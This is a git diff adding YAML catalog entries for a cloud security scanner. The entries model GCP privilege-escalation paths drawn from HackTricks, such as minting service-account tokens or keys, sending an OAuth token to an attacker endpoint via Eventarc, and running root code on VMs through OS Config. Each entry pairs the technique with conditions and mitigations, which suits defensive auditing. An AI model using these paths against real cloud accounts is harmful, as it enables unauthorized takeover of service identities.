/dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/eventarc.yaml @@ -0,0 +1,45 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. + +# GCP Eventarc privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-eventarc-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-eventarc-pipeline-oauth-token-actas + provider: gcp + service: eventarc + title: Create an Eventarc Advanced pipeline that sends a service account's OAuth token to an attacker endpoint + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-eventarc-privesc.md#eventarcpipelinescreate--iamserviceaccountsactas--receive-an-oauth-token-for-a-service-account + source_revision: 171e422 + summary: A pipeline that uses a service account's OAuth identity could send its access token to a controlled HTTPS receiver, but only after an enrollment routes a matching bus event through that pipeline and the Eventarc service agent can mint the token. + requires: + all_of: + - action: eventarc.pipelines.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_eventarc_oauth_pipeline_path: true + scope: any + aggregate_as: "Service accounts reachable through Eventarc pipeline OAuth delivery" + conditions: + - id: enrollment + description: The source must route bus events into the pipeline by creating an enrollment on a usable bus, updating an existing enrollment, or creating a bus that it can publish to. The pipeline and enrollment share a project; all three resources share a region, and the bus may belong to another project. + - id: service_agent_token + description: The pipeline project's Eventarc service agent must hold iam.serviceAccounts.getAccessToken on the selected SA, including an explicit grant when the SA is in another project. + - id: matching_event + description: At least one matching event must traverse the enrollment (a legitimate event, or one injected with eventarc.messageBuses.publish); enrollment, pipeline and bus must share a region. + - id: reachable_receiver + description: The attacker HTTPS endpoint must be reachable from Eventarc (internal endpoints need a network attachment); Google's guidance to use OAuth only for *.googleapis.com is not an enforced host restriction. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated Eventarc SAs, restrict eventarc.pipelines.create and enrollments, and alert on pipelines with non-googleapis.com OAuth destinations. + references: + - https://docs.cloud.google.com/eventarc/docs/reference/rest/v1/projects.locations.pipelines + - https://docs.cloud.google.com/eventarc/advanced/docs/access-control + notes: The token scope defaults to cloud-platform. roles/eventarc.developer lacks actAs and messageBuses.use. Standard-trigger OIDC tokens are audience-bound and not modelled. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/exact-principal-v5.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/exact-principal-v5.yaml new file mode 100644 index 0000000000..667266877c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/exact-principal-v5.yaml @@ -0,0 +1,2 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/firebase_external.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/firebase_external.yaml new file mode 100644 index 0000000000..905794bef3 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/firebase_external.yaml @@ -0,0 +1,58 @@ +# An account update is only an identity pivot when reviewed evidence proves the +# exact Firebase user, a usable new sign-in credential, and newly allowed access. +# Canonical policy: peaso/privesc/catalog_policy.yaml +- id: gcp-firebase-signblob-exact-custom-token-user + provider: gcp + service: firebaseauth + title: Sign a custom token as a project service account and reach one Firebase user + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#service-account-signing-access--mint-firebase-custom-tokens-with-arbitrary-claims + source_revision: f0f683242a + summary: A principal that can sign a custom Firebase token with a same-project service account may authenticate as an exact UID and gain a named application permission after a successful token exchange. + requires: + all_of: + - action: iam.serviceAccounts.signBlob + resource: '{target.resource}' + target: + kind: gcp_external_principal + selector: + gcp_external_principal_evidence: true + gcp_external_plane: firebase_auth + scope: same_project + outcome: credentials + aggregate_as: Exact Firebase custom-token user with reviewed new access + conditions: + - id: exact_firebase_custom_token_exchange + description: The reviewed record must bind the exact signing service account to the RS256 custom token issuer and subject, the Firebase audience and UID, an accepted exchange for that project, tenant when present, and UID, prior source denial, and a newly allowed application action. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict service-account signing permissions and validate Firebase custom-token issuance. + notes: ActionResource is the exact signing service account; TargetServiceResource is the exact Firebase project or tenant user. SignedTokenIssuer and SignedTokenSubject must match that account, SignedTokenUid and ExchangeUid must match the target UID, ExchangeProjectId must match the project, and SignedTokenTenantId and ExchangeTenantId must agree when a tenant is used. A signed JWT without accepted Firebase exchange and new authorization is insufficient. + +- id: gcp-firebase-signjwt-exact-custom-token-user + provider: gcp + service: firebaseauth + title: Sign a custom JWT as a project service account and reach one Firebase user + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#service-account-signing-access--mint-firebase-custom-tokens-with-arbitrary-claims + source_revision: f0f683242a + summary: A principal that can sign a custom Firebase JWT with a same-project service account may authenticate as an exact UID and gain a named application permission after a successful token exchange. + requires: + all_of: + - action: iam.serviceAccounts.signJwt + resource: '{target.resource}' + target: + kind: gcp_external_principal + selector: + gcp_external_principal_evidence: true + gcp_external_plane: firebase_auth + scope: same_project + outcome: credentials + aggregate_as: Exact Firebase custom-token user with reviewed new access + conditions: + - id: exact_firebase_custom_jwt_exchange + description: The reviewed record must bind the exact signing service account to the RS256 custom JWT issuer and subject, the Firebase audience and UID, an accepted exchange for that project, tenant when present, and UID, prior source denial, and a newly allowed application action. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict service-account signing permissions and validate Firebase custom-token issuance. + notes: ActionResource is the exact signing service account; TargetServiceResource is the exact Firebase project or tenant user. SignedTokenIssuer and SignedTokenSubject must match that account, SignedTokenUid and ExchangeUid must match the target UID, ExchangeProjectId must match the project, and SignedTokenTenantId and ExchangeTenantId must agree when a tenant is used. A signed JWT without accepted Firebase exchange and new authorization is insufficient. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/firebaseapphosting.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/firebaseapphosting.yaml new file mode 100644 index 0000000000..4920188e1b --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/firebaseapphosting.yaml @@ -0,0 +1,74 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. + +# GCP Firebase App Hosting privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: firebase_apphosting_backend -> the serviceAccount configured on an existing App Hosting backend +# ("{target.host_resource}"), used for its builds and its Cloud Run runtime. + +- id: gcp-firebaseapphosting-backends-update-actas + provider: gcp + service: firebaseapphosting + title: Switch an App Hosting backend's runtime identity to a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md#backend-hijack--repoint-source-or-runtime-identity + source_revision: 4e9b5eaaa6 + summary: The source can set a target service account as the identity of one existing App Hosting backend it can update, build, and roll out. The selected account must be ready to build and run attacker-controlled code. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_firebase_apphosting_retarget: true + scope: same_project + aggregate_as: "Service accounts settable as Firebase App Hosting backend identity in {project}" + conditions: + - id: code_delivery + description: An existing active backend must permit update, build creation and rollout creation on that exact backend. The target account must have the App Hosting Compute Runner role; an equivalent custom role is left unresolved. The build must use an attacker-controlled compatible Artifact Registry image or source archive, including a usable external signed archive URL. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict firebaseapphosting.backends.update and grant actAs only on dedicated App Hosting SAs. + references: + - https://firebase.google.com/docs/reference/apphosting/rest/v1/projects.locations.backends + - https://firebase.google.com/docs/reference/apphosting/rest/v1/projects.locations.backends.builds + - https://docs.cloud.google.com/iam/docs/roles-permissions/firebaseapphosting +- id: gcp-firebaseapphosting-build-rollout-existing-backend + provider: gcp + service: firebaseapphosting + title: Deploy an image to an existing Firebase App Hosting backend and run as its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md#firebaseapphostingbuildscreate--firebaseapphostingrolloutscreate--deploy-an-image-as-an-existing-backend-identity + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of every Firebase App Hosting backend on which it can create builds and rollouts, without iam.serviceAccounts.actAs. + requires: + all_of: + - action: firebaseapphosting.builds.create + resource: '{target.host_resource}' + - action: firebaseapphosting.rollouts.create + resource: '{target.host_resource}' + target: + kind: gcp_service_account + selector: + attached_to_service: firebase_apphosting_backend + scope: any + aggregate_as: SAs of Firebase App Hosting backends the source can deploy to + conditions: + - id: controlled_build_source + description: The build must use a compatible attacker-controlled Artifact Registry image or source archive, including a usable external signed archive URL, and the rollout must actuate successfully. + - id: backend_change_separate + description: Changing the backend identity needs firebaseapphosting.backends.update plus actAs on the new SA; not required here. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict roles/firebaseapphosting.developer and give App Hosting backends least-privilege service accounts. + references: + - https://firebase.google.com/docs/reference/apphosting/rest/v1/projects.locations.backends + - https://firebase.google.com/docs/reference/apphosting/rest/v1/projects.locations.backends.builds + - https://docs.cloud.google.com/iam/docs/roles-permissions/firebaseapphosting + notes: Both permissions must hold on one exact active backend and are in roles/firebaseapphosting.developer. The backend's recorded serviceAccount is used for Cloud Build and Cloud Run. No new actAs grant is required for its existing identity; a cross-project account may be reached only when already attached to that backend. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/hypercomputecluster.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/hypercomputecluster.yaml new file mode 100644 index 0000000000..3b77b09d21 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/hypercomputecluster.yaml @@ -0,0 +1,43 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cluster Director (hypercomputecluster) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cluster-director-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: hypercomputecluster_cluster -> the SA attached to the Slurm login-node VMs of an existing Cluster +# ("{target.host_resource}" = that Cluster). +- id: gcp-hypercomputecluster-login-node-startup-actas + provider: gcp + service: hypercomputecluster + title: Replace a cluster's login-node startup script to run as the login VM service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cluster-director-privesc.md#hypercomputeclusterclustersupdate--iamserviceaccountsactas--execute-a-login-node-startup-script-as-the-retained-vm-identity + source_revision: 171e422 + summary: The source can run a changed login-node startup script as the service account on a running VM explicitly listed by an existing Cluster Director cluster, when it can update that cluster and use that account. + requires: + all_of: + - action: hypercomputecluster.clusters.update + resource: '{target.host_resource}' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + attached_to_service: hypercomputecluster_cluster + gcp_actas_granted_on_target: true + scope: any + aggregate_as: Login-node SAs of Cluster Director clusters the source can update + conditions: + - id: login_nodes_exist + description: The cluster must be stable and list a running login VM whose exact Compute record names an enabled service account. + - id: access_scopes + description: The VM must have the cloud-platform OAuth scope so the service-account edge is not overstated; egress and target IAM still bound actual API use. + - id: disruptive + description: The update restarts all login nodes. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict roles/hypercomputecluster.editor and admin and grant Service Account User on login-node SAs only to operators. + notes: roles/hypercomputecluster.editor/admin carry clusters.update but not actAs; the live API rechecks actAs on the retained SA even though the update does not change identity. getAccessToken is not needed. + references: + - https://docs.cloud.google.com/cluster-director/docs/reference/rest/v1/projects.locations.clusters + - https://docs.cloud.google.com/cluster-director/docs/manage/modify-cluster diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/iam.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/iam.yaml new file mode 100644 index 0000000000..81f6f7cb80 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/iam.yaml @@ -0,0 +1,233 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP IAM / service-account impersonation privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-iam-privesc.md (rev 171e422). +# Conventions used across catalog/gcp/*.yaml (see SCHEMA EXTENSIONS in the GCP agent report): +# resource "{target.email}" -> the target service account (SA-level policy or project/folder/org inheritance). +# resource "*" + selector gcp_sa_in_scope_of_permission -> the permission must hold on the target SA's project (or an +# ancestor); deploy-with-actAs techniques are therefore modelled same-project only. +# resource "{target.host_resource}" -> (GCP use of the Azure placeholder) full resource name of the EXISTING resource +# (VM, function, Cloud Run service/job, environment, ...) that runs as the target SA; all +# requirements using it must cover that SAME resource (resource-level IAM or an ancestor). +# resource "{target.host_resource.content_storage}" -> the Cloud Storage bucket that the host resource loads and executes +# code from (Composer DAG bucket, function source bucket, App Engine staging bucket, ...). +# resource "{target.artifact_arn}" -> (GCP use) full resource name of an executable artifact (Artifact Registry repository, +# Cloud Storage object/bucket, source repository) later consumed by the target workload. +# selector attached_to_service: -> the target SA is the run-as identity of an existing resource of +# (GCP values: compute_instance, gke_nodepool, cloudfunctions_function, run_service, run_job, +# run_worker_pool, cloudbuild_trigger, composer_environment, dataflow_job, dataproc_cluster, +# cloudscheduler_job, workflows_workflow, appengine_version, notebooks_instance, +# workstations_config, workstations_workstation, dataform_repository, clouddeploy_target, +# integration_connector, sourcerepo_trigger_consumer, artifact_consumer). +# blocker {id: org_policy_constraint, constraint: } -> edge removed when that org-policy constraint is enforced on +# the target's project (not evaluated yet; reported as not evaluated). +# blocker vpc_sc_perimeter -> a VPC Service Controls perimeter around the target project may block the API calls. + +- id: gcp-iam-serviceaccounts-getaccesstoken + provider: gcp + service: iam + title: Mint OAuth access tokens for a service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamserviceaccountsgetaccesstoken--impersonate-a-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of every service account on which it holds iam.serviceAccounts.getAccessToken. + requires: + all_of: + - action: iam.serviceAccounts.getAccessToken + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + resource_permission_covers_target: iam.serviceAccounts.getAccessToken + scope: any + aggregate_as: "Service accounts the source can mint tokens for" + conditions: + - id: iam_condition + description: An IAM Condition on the granting binding (time, resource name) may limit when or for which SA the permission applies. + blockers: + - gcp_deny_policy + - disabled_service_account + confidence: derived + severity: critical + mitigation: Grant roles/iam.serviceAccountTokenCreator only on specific service accounts, never at project/folder/org level. + references: + - https://cloud.google.com/iam/docs/service-account-permissions + notes: Works across projects; the token carries the full IAM permissions of the target SA. iam.serviceAccounts.get is only needed for discovery. + +- id: gcp-iam-serviceaccountkeys-create + provider: gcp + service: iam + title: Create or upload a user-managed key for a service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamserviceaccountkeyscreate--create-or-upload-a-durable-private-key + source_revision: 171e422 + summary: The source can obtain the privileges of every service account on which it holds iam.serviceAccountKeys.create. + requires: + all_of: + - action: iam.serviceAccountKeys.create + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + resource_permission_covers_target: iam.serviceAccountKeys.create + scope: any + aggregate_as: "Service accounts the source can create keys for" + conditions: + - id: key_creation_constraint + description: If iam.disableServiceAccountKeyCreation (or its managed iam.managed.* successor) is enforced, only the key-upload path remains, which iam.disableServiceAccountKeyUpload blocks. + blockers: + - gcp_deny_policy + - disabled_service_account + - {id: org_policy_constraint, constraint: iam.disableServiceAccountKeyCreation+iam.disableServiceAccountKeyUpload} + confidence: derived + severity: critical + mitigation: Enforce the key-creation and key-upload org policies and restrict roles/iam.serviceAccountKeyAdmin to specific SAs. + references: + - https://cloud.google.com/iam/docs/keys-create-delete + notes: The same permission authorizes both Google-generated key creation and public-key upload. The edge is blocked only when BOTH creation and upload are prevented by org policy; HackTricks notes the legacy boolean constraint can be superseded by the managed constraint, so evaluate the one actually enforced. + +- id: gcp-iam-serviceaccounts-implicitdelegation + provider: gcp + service: iam + title: Chain token minting through an intermediate service account via implicitDelegation + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamserviceaccountsimplicitdelegation--reach-a-service-account-through-a-delegation-chain + source_revision: 171e422 + summary: The source can obtain the privileges of the service accounts that a delegate chain can mint credentials for. The chain starts at a delegate SA on which the source holds iam.serviceAccounts.implicitDelegation, may continue through further implicitDelegation grants, and ends at SAs on which the last delegate holds getAccessToken, signBlob or signJwt. The delegates themselves are not reached. + requires: + all_of: + - action: iam.serviceAccounts.implicitDelegation + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_implicit_delegation_chain: true + scope: any + aggregate_as: "Service accounts reachable through implicitDelegation chains" + conditions: + - id: delegate_chain + description: Each edge records its delegate SAs as delegate: conditions. The final delegate must hold iam.serviceAccounts.getAccessToken, signBlob or signJwt on the target; implicitDelegation alone does not yield a delegate's own access token. + blockers: + - gcp_deny_policy + - disabled_service_account + confidence: derived + severity: critical + mitigation: Remove iam.serviceAccounts.implicitDelegation grants (roles/iam.serviceAccountTokenCreator) that are not strictly required, and remove token-minting grants held by service accounts that others can delegate through. + references: + - https://cloud.google.com/iam/docs/create-short-lived-credentials-delegated + notes: The selector follows implicitDelegation transitively (up to 10 hops) and targets only the SAs at the end of the chain. When the source also holds getAccessToken on a delegate (roles/iam.serviceAccountTokenCreator includes both permissions), the gcp-iam-serviceaccounts-getaccesstoken entry reaches the delegate itself. + +- id: gcp-iam-serviceaccounts-signblob + provider: gcp + service: iam + title: Sign arbitrary bytes (a JWT assertion) with a service account's Google-managed key + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamserviceaccountssignblob--iamserviceaccountssignjwt--sign-an-assertion-and-exchange-it-for-tokens + source_revision: 171e422 + summary: The source can obtain the privileges of every service account on which it holds iam.serviceAccounts.signBlob. + requires: + all_of: + - action: iam.serviceAccounts.signBlob + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + resource_permission_covers_target: iam.serviceAccounts.signBlob + scope: any + aggregate_as: "Service accounts the source can sign as" + conditions: + - id: iam_condition + description: An IAM Condition on the granting binding may limit the grant. + blockers: + - gcp_deny_policy + - disabled_service_account + confidence: derived + severity: critical + mitigation: Grant roles/iam.serviceAccountTokenCreator only on specific service accounts. + references: + - https://cloud.google.com/iam/docs/reference/credentials/rest/v1/projects.serviceAccounts/signBlob + notes: A signed self-issued assertion is exchangeable for an access token of the SA. + +- id: gcp-iam-serviceaccounts-signjwt + provider: gcp + service: iam + title: Sign a JWT with a service account's Google-managed key + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamserviceaccountssignblob--iamserviceaccountssignjwt--sign-an-assertion-and-exchange-it-for-tokens + source_revision: 171e422 + summary: The source can obtain the privileges of every service account on which it holds iam.serviceAccounts.signJwt. + requires: + all_of: + - action: iam.serviceAccounts.signJwt + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + resource_permission_covers_target: iam.serviceAccounts.signJwt + scope: any + aggregate_as: "Service accounts the source can sign JWTs as" + conditions: + - id: iam_condition + description: An IAM Condition on the granting binding may limit the grant. + blockers: + - gcp_deny_policy + - disabled_service_account + confidence: derived + severity: critical + mitigation: Grant roles/iam.serviceAccountTokenCreator only on specific service accounts. + references: + - https://cloud.google.com/iam/docs/reference/credentials/rest/v1/projects.serviceAccounts/signJwt + +- id: gcp-iam-serviceaccounts-setiampolicy + provider: gcp + service: iam + title: Rewrite a service account's IAM policy to self-grant impersonation + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamserviceaccountssetiampolicy--grant-yourself-token-creation-access + source_revision: 171e422 + summary: The source can obtain the privileges of every service account on which it holds iam.serviceAccounts.setIamPolicy. + requires: + all_of: + - action: iam.serviceAccounts.setIamPolicy + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + resource_permission_covers_target: iam.serviceAccounts.setIamPolicy + scope: any + aggregate_as: "Service accounts whose IAM policy the source controls" + conditions: + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject the new binding when the source is an external principal. + blockers: + - gcp_deny_policy + - disabled_service_account + - {id: org_policy_constraint, constraint: iam.allowedPolicyMemberDomains+iam.managed.allowedPolicyMembers} + confidence: derived + severity: critical + mitigation: Restrict roles/iam.serviceAccountAdmin and roles/iam.securityAdmin; grant SA-level admin only to owners of that SA. + references: + - https://cloud.google.com/iam/docs/manage-access-service-accounts + notes: Also covers the iam.roles.create + iam.serviceAccounts.setIamPolicy variant (the custom role is unnecessary; the SA policy write is the escalation). + +- id: gcp-iam-roles-update-own-custom-role + provider: gcp + service: iam + title: Add permissions to a custom role bound to the source + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamrolesupdate--add-permissions-to-an-already-bound-custom-role + source_revision: 171e422 + summary: The source can obtain the privileges of the scope owner of every project/folder/org where a custom role it can update is bound to it. + requires: + all_of: + - action: iam.roles.update + resource: "*" + target: + kind: gcp_scope_owner + selector: + gcp_custom_role_bound_to_source: true + scope: any + aggregate_as: "Scopes where a source-bound custom role is editable" + conditions: + - id: add_permission_limits + description: The caller need not hold the added permission, but it must be supported in custom roles at that level (project-level roles cannot contain folder/org-only permissions, no wildcards), the role must be active (roles.update can also re-activate a disabled role), and any binding condition must hold. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Separate custom-role administration (roles/iam.roleAdmin) from principals bound to those roles. + references: + - https://cloud.google.com/iam/docs/creating-custom-roles + notes: The selector uses the scope of the source's recorded role binding and checks iam.roles.update on that exact collected custom role. Adding a supported IAM policy permission may then grant control of that binding scope. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/inframanager.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/inframanager.yaml new file mode 100644 index 0000000000..706d60723e --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/inframanager.yaml @@ -0,0 +1,39 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Infrastructure Manager privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-infra-manager-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-inframanager-deployments-create-actas + provider: gcp + service: config + title: Create an Infrastructure Manager deployment applied as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-infra-manager-privesc.md#configdeploymentscreate--iamserviceaccountsactas--apply-terraform-as-a-selected-service-account + source_revision: 171e422 + summary: The source can submit Terraform to a project-visible Infrastructure Manager location using an enabled service account with the Infra Manager Agent role, when it can create deployments there and act as that account. Cross-project accounts also need the documented service-agent grants and organization-policy setting. + requires: + all_of: + - action: config.deployments.create + resource: "{target.host_resource}" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + attached_to_service: inframanager_location + gcp_actas_granted_on_target: true + scope: any + aggregate_as: "Service accounts usable as Infrastructure Manager SA in {project}" + conditions: + - id: sa_config_agent + description: The enabled run-as SA must have an unconditional roles/config.agent binding in the deployment project. Cross-project use also requires the effective organization policy to allow it and the Infra Manager and Cloud Build service-agent grants. The submitted Terraform source must be valid. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated Infrastructure Manager SAs; roles/config.admin lacks actAs but roles/editor has both. + references: + - https://cloud.google.com/infrastructure-manager/docs/access-control + - https://docs.cloud.google.com/infrastructure-manager/docs/configure-service-account + - https://docs.cloud.google.com/infrastructure-manager/docs/reference/rest/v1/projects.locations.deployments/create + notes: Updating an existing deployment (config.deployments.update) is the same class but not described by HackTricks. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/integrations.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/integrations.yaml new file mode 100644 index 0000000000..fe51488c70 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/integrations.yaml @@ -0,0 +1 @@ +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/monitoring.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/monitoring.yaml new file mode 100644 index 0000000000..fe51488c70 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/monitoring.yaml @@ -0,0 +1 @@ +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/osconfig.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/osconfig.yaml new file mode 100644 index 0000000000..fd0c949546 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/osconfig.yaml @@ -0,0 +1,164 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP VM Manager / OS Config privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-osconfig-privesc.md and gcp-compute-privesc/README.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# The OS Config agent runs as root on the VM; no actAs on the VM's SA is needed (HackTricks). + +- id: gcp-osconfig-patchjobs-exec + provider: gcp + service: osconfig + title: Run root pre/post-patch steps on project VMs through an OS Config patch job + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md#osconfigpatchjobsexec-or-patch-deployment-write---execute-a-privileged-patch-step + source_revision: 171e422 + summary: A one-shot patch job or a new or existing patch deployment can run a pre-patch executable on an eligible VM and expose its attached service account. + requires: + any_of: + - - action: osconfig.patchJobs.exec + resource: "{target.project}" + - - action: osconfig.patchDeployments.create + resource: "{target.project}" + - - action: osconfig.patchDeployments.update + resource: "{target.osconfig_patch_deployment}" + - - action: osconfig.patchDeployments.update + resource: "{target.osconfig_unknown_patch_deployment}" + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + gcp_osconfig_patch_job_path: true + scope: same_project + aggregate_as: "SAs of OS Config-managed VMs in {project}" + conditions: + - id: agent_enabled + description: The VM must be running, patch-supported, have an active OS Config agent with full VM Manager patch processing enabled, an attached service account and service connectivity. Deployment updates need an existing usable deployment. + - id: executable_location + description: ExecStepConfig has no inline script; the pre/post-patch executable must be an existing local path or an exact Cloud Storage object generation readable by the VM, including a legitimately public object. + - id: access_scopes + description: The usable token is limited by the VM's OAuth access scopes. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict roles/osconfig.patchJobExecutor, roles/osconfig.patchDeploymentAdmin and roles/osconfig.admin; disable VM Manager where not needed. + references: + - https://cloud.google.com/compute/docs/os-patch-management/create-patch-job + - https://docs.cloud.google.com/compute/docs/osconfig/rest/v1/projects.patchDeployments/patch + notes: No actAs on the VM SA is required (HackTricks, current at the reference revision). patchDeployments.create is the scheduled variant; also documented on gcp-compute-privesc/README.md#osconfigpatchdeploymentscreate--osconfigpatchjobsexec (former duplicate entry gcp-compute-osconfig-patchdeployments-create removed). + +- id: gcp-osconfig-ospolicyassignments-create + provider: gcp + service: osconfig + title: Run root code on project VMs through OS policy assignments + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md#osconfigospolicyassignmentscreate-or-update---execute-an-inline-privileged-os-policy + source_revision: 171e422 + summary: Creating a zonal OS policy assignment, or patching an existing or new assignment with allowMissing, can run code on a matching active VM and expose its attached service account. + requires: + any_of: + - - action: osconfig.osPolicyAssignments.create + resource: "{target.osconfig_zone}" + - - action: osconfig.osPolicyAssignments.update + resource: "{target.osconfig_assignment}" + - - action: osconfig.osPolicyAssignments.update + resource: "{target.osconfig_unknown_assignment}" + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + gcp_osconfig_os_policy_assignment_path: true + scope: same_project + aggregate_as: "SAs of OS Config-managed VMs in {project}" + conditions: + - id: agent_enabled + description: VM Manager must be enabled on the VM and the VM needs egress to the control plane; execution happens on the agent polling interval. + - id: update_existing_or_allow_missing + description: The update path can patch an existing assignment or create a named assignment with allowMissing=true. + - id: access_scopes + description: The usable token is limited by the VM's OAuth access scopes. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict roles/osconfig.osPolicyAssignmentAdmin/Editor and roles/osconfig.guestPolicyAdmin. + 